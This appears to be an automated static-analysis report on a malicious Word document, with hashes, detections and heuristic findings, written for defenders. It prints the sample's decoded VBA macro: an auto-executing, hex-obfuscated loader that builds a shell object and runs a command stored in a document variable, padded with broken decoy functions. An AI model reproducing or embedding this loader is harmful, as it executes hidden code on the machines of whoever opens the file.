Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e23f3476faccb96…

MALICIOUS

Office (OLE)

84.0 KB Created: 2018-06-22 04:19:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: e1d3c9663bbb3e0e15ea548d397e4f1e SHA-1: 5cff262ec343bd030b2a62a144fcc1722352902b SHA-256: 6e23f3476faccb96ea4a61eb787941e32d65f6d132530592b47a8b12f589ca64
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains heavily obfuscated VBA macros, including auto-executing Document_Open and Workbook_Open subroutines. These macros utilize CreateObject and CallByName functions, indicative of attempts to execute arbitrary code. The obfuscated nature and the use of these functions suggest the script's primary purpose is to download and execute a second-stage payload. The ClamAV detection of 'Xls.Malware.Valyria-6700360-0' further supports its malicious nature.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700360-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2607 bytes
SHA-256: 5baacd5f7aa69b64bd43bd4bb31f89674d1e5025a58b5e5145bea195115ac68c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function UCMNW() As String
D aUCMNW As String
aUCMNW = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myUCMNW = aUCMNW
DimDimMsgBox ((aUCMNW & myUCMNW, 28))
End Function

Public Sub C_()
    Dim IOU_ As Object: Set IOU_ = CreateObject(IX_("797585948B929650758A878E8E"))
    CallByName IOU_, IX_("749790"), VbMethod, IX_(ActiveDocument.Variables("WHHXE").Value), 0, True
End Sub
Private Function BSZCY() As String
D aBSZCY As String
aBSZCY = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myBSZCY = aBSZCY
DimDimMsgBox ((aBSZCY & myBSZCY, 28))
End Function

Sub WHQJWNE_()
    C_
End Sub
Private Function KQCOR() As String
D aKQCOR As String
aKQCOR = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myKQCOR = aKQCOR
DimDimMsgBox ((aKQCOR & myKQCOR, 28))
End Function

Public Sub Document_Open()
    Application.Run IX_("796A736C79706781")
End Sub
Private Function NGRTL() As String
D aNGRTL As String
aNGRTL = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myNGRTL = aNGRTL
DimDimMsgBox ((aNGRTL & myNGRTL, 28))
End Function

Sub Workbook_Open()
    WHQJWNE_
End Sub
Private Function PGGQV() As String
D aPGGQV As String
aPGGQV = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myPGGQV = aPGGQV
DimDimMsgBox ((aPGGQV & myPGGQV, 28))
End Function

Public Function IX_(ByVal IOU_ As String)
   Dim QS_ As String
   Dim R_ As Long
   For R_ = 1 To Len(IOU_) Step 2
        Dim IZ_ As Long: IZ_ = CLng(Chr(38) & Chr(72) & Mid(IOU_, R_, 2))
        QS_ = QS_ & Chr(IZ_ - 34)
   Next
   IX_ = QS_
End Function
Private Function ZYJQL() As String
D aZYJQL As String
aZYJQL = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myZYJQL = aZYJQL
DimDimMsgBox ((aZYJQL & myZYJQL, 28))
End Function

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